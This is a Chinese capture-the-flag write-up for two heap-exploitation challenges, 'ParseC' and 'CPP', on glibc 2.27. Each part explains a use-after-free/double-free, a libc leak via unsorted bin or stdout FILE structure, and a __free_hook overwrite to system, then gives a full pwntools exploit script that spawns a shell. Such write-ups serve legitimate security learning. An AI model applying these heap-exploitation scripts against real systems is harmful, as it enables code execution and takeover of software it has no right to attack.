ParseC

JIT类型题目。

有三个函数:read(读取浮点数)、puts(输出字符)、print(输出浮点数)

大体三种类型:浮点数/字符(存放在bss上)、数组(存放在堆中,只能放浮点数)、字符串(存放在堆中,每次重新赋值时若长度不同则会free后再malloc)。

字符串可以复制,并且堆上指针不变,因此存在UAF,可以进行double free。

首先填满tcache后用unsortbin进行leak操作。

接着double free一个0x20大小的堆块,修改其fd指向一同样double free了的0x50的堆块,修改0x50大小堆块的fd指向对应偏移0x28处(对应数组中存放了数值的地方)。

接着申请一个数组,输入16进制的__free_hook-0x28对应的浮点数。

接着申请两个数组,再进行输入,即可劫持__free_hook,修改其为system函数地址,接着free掉一个存放/bin/sh的堆块,即可getshell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
import binascii
#context.log_level='debug'
code = '''
//;/bin/sh
//leak
a = "22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222";
b = "22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222";
x1 = a;
x2 = a;
x3 = a;
x4 = a;
x5 = a;
x6 = a;
x7 = a;
x8 = a;
x1 = "222";
x2 = "222";
x3 = "222";
x4 = "222";
x5 = "222";
x6 = "222";
x7 = "222";
x8 = "222";
puts(x8);
puts(a);


q = "'''+'a'*0x38+'''";
x20 = q;
x21 = q;
x20 = "'''+'a'*0x98+'''";

array c(1);
read(v);
c[0]=v;
a = "1";
d= "1";
e = " ;/bin/sh";
x9 = d;
x10 = d;
x9= "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
x10= "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
f = "\x60";
x21 = "'''+'a'*0x98+'''";
g = "\x60";
k = "\x88";



array h(1);
array j(1);

array l(1);
read(t);
l[0]=t;

e = "111111111111111";

'''
f = open('exp','rb+')
f.write(code)
f.close()
p = process(["./ParseC","exp"],env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")

code = base64.b64encode(code)
p.sendline(code)
p.recvuntil("222\n")
libc_base = u64(p.recv(6)+'\x00\x00')-0x3EBca0
print(hex(libc_base))
libc.address = libc_base

def rev(a):
print a
s = ''
s += a[14:16]
s += a[12:14]
s += a[10:12]
s += a[8:10]
s += a[6:8]
s += a[4:6]
s += a[2:4]
s += a[0:2]
return s
free_hook = hex(libc.sym['__free_hook']-0x28)[2:].rjust(16,"0")
free_hook = rev(free_hook)
free_hook = struct.unpack('<d', binascii.unhexlify(free_hook))

system = hex(libc.sym['system'])[2:].rjust(16,"0")
print(system)
system = rev(system)
print(system)
system = struct.unpack('<d', binascii.unhexlify(system))
print(system)

p.sendline(str(free_hook)[1:-2])
sleep(1)
#gdb.attach(p,'b *0x555555556262\nb *0x55555555627d\nb *0x55555555623d\n b free')
p.sendline(str(system)[1:-2])
p.interactive()

CPP

c++的题目,静态分析有点困难,所以直接gdb看堆块变化。

分析发现free后未对堆指针置0,因而存在uaf漏洞。另外edit的时候会重新申请相应大小堆块。

首先double free掉0x20的堆块,并将fd修改为下面unsortbin堆块-0x10偏移处地址,方便后面进行io leak。

接着申请0x88大小的堆块,并先申请0x48大小的堆块,double free(修复后续申请堆块问题)。

接着申请0x98,防止unsortbin被合并到topchunk。

申请回0x88的堆块,将其free填满tcache即放入unsortbin,获得libc相应偏移的地址。

接着用上面0x20的堆块修改0x88堆块的fd,将其爆破到_IO_2_1_stdout_-0x61处,并将size修改为0x21,并修复bins结构。

接着构造payload进行ioleak,注意长度需要满足,这里用了'\xff'*7+p64(0)*12+p64(0xfbad1800)+p64(0)*3+'\x00'。这样即可leak出libc地址。

接着double free,劫持__free_hook为system函数地址,再用edit输入shell命令:"/bin/sh".ljust(0x1f,'\x00')+'icqb8a2d9242a67b4510eacfe4635155',操作中即会将该堆块free并输入token。(关于截取长度的问题,这里爆破了很久,最终确定是0x1f大小后接token就可以)。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context.timeout=1
#context.log_level = 'debug'
def exp():
p = process("./cpp",env = {"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
def add():
p.recvuntil("[B]ye")
p.sendline("C")
def edit(data):
p.recvuntil("[B]ye")
p.sendline("W")
p.sendline(data)
def free():
p.recvuntil("[B]ye")
p.sendline("D")
libc.address = 0x00007ffff79e2000
print hex(libc.sym['_IO_2_1_stdout_'])
add()
add()
edit('1'*0x20)
add()
edit('1'*0x18)
for i in range(2):
free()
edit('\x90\xd1')
edit('1'*0x88)
edit('1'*0x48)
free()
free()
free()
edit('1'*0x98)
edit('1'*0x88)
for i in range(8):
free()
add()
edit(p64(0)+p64(0x21)+'\xf9\xe6')
edit('\xff'*7+p64(0)*12+p64(0xfbad1800)+p64(0)*3+'\x00')
p.recvuntil(p64(0xfbad1800)+p64(0)*3)
libc.address = u64(p.recv(8))-0x3EC700
print hex(libc.address)
free()
edit(p64(libc.sym['__free_hook']))
edit(p64(libc.sym['__free_hook']))
edit(p64(libc.sym['system']))
#gdb.attach(p,'b malloc\n b free')
edit("/bin/sh".ljust(0x1f,'\x00')+'icqb8a2d9242a67b4510eacfe4635155')
p.interactive()
i = 0
while(1):
i += 1
try:
print i
exp()
except:
print "fail"